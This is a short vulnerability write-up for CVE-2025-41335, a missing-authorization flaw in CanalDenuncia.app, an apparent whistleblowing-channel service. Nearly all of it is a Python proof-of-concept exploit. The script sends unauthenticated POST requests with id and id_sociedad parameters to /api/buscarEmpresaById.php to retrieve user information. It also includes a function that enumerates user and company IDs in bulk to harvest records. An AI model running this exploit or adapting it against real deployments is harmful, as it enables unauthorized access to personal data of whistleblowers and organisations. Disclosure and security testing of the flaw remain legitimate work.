CVE-2025-41335: CanalDenuncia.app 授权缺失漏洞允许未授权访问用户信息

import requests import sys # CVE-2025-41335 PoC - CanalDenuncia.app Authorization Bypass # Target: /api/buscarEmpresaById.php endpoint def exploit_cve_2025_41335(target_url, user_id, sociedad_id): """ Exploit for CVE-2025-41335: Broken Access Control in CanalDenuncia.app Allows unauthorized access to user information via id and id_sociedad parameters """ endpoint = f"{target_url}/api/buscarEmpresaById.php" # Construct malicious POST request payload = { 'id': user_id, 'id_sociedad': sociedad_id } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } try: print(f"[*] Sending request to {endpoint}") print(f"[*] Payload: id={user_id}, id_sociedad={sociedad_id}") response = requests.post(endpoint, data=payload, headers=headers, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response:\n{response.text}") return response.json() if response.headers.get('content-type', '').startswith('application/json') else response.text except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def enumerate_users(target_url, max_id=100): """ Enumerate all users by iterating through ID values """ print(f"[*] Starting user enumeration (max ID: {max_id})") for user_id in range(1, max_id + 1): for sociedad_id in range(1, 10): result = exploit_cve_2025_41335(target_url, str(user_id), str(sociedad_id)) if result: print(f"[!] Found data for User ID: {user_id}, Sociedad ID: {sociedad_id}") if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <user_id> <sociedad_id>") print(f"Example: python {sys.argv[0]} http://target.com 1 1") sys.exit(1) target = sys.argv[1] uid = sys.argv[2] sid = sys.argv[3] exploit_cve_2025_41335(target, uid, sid)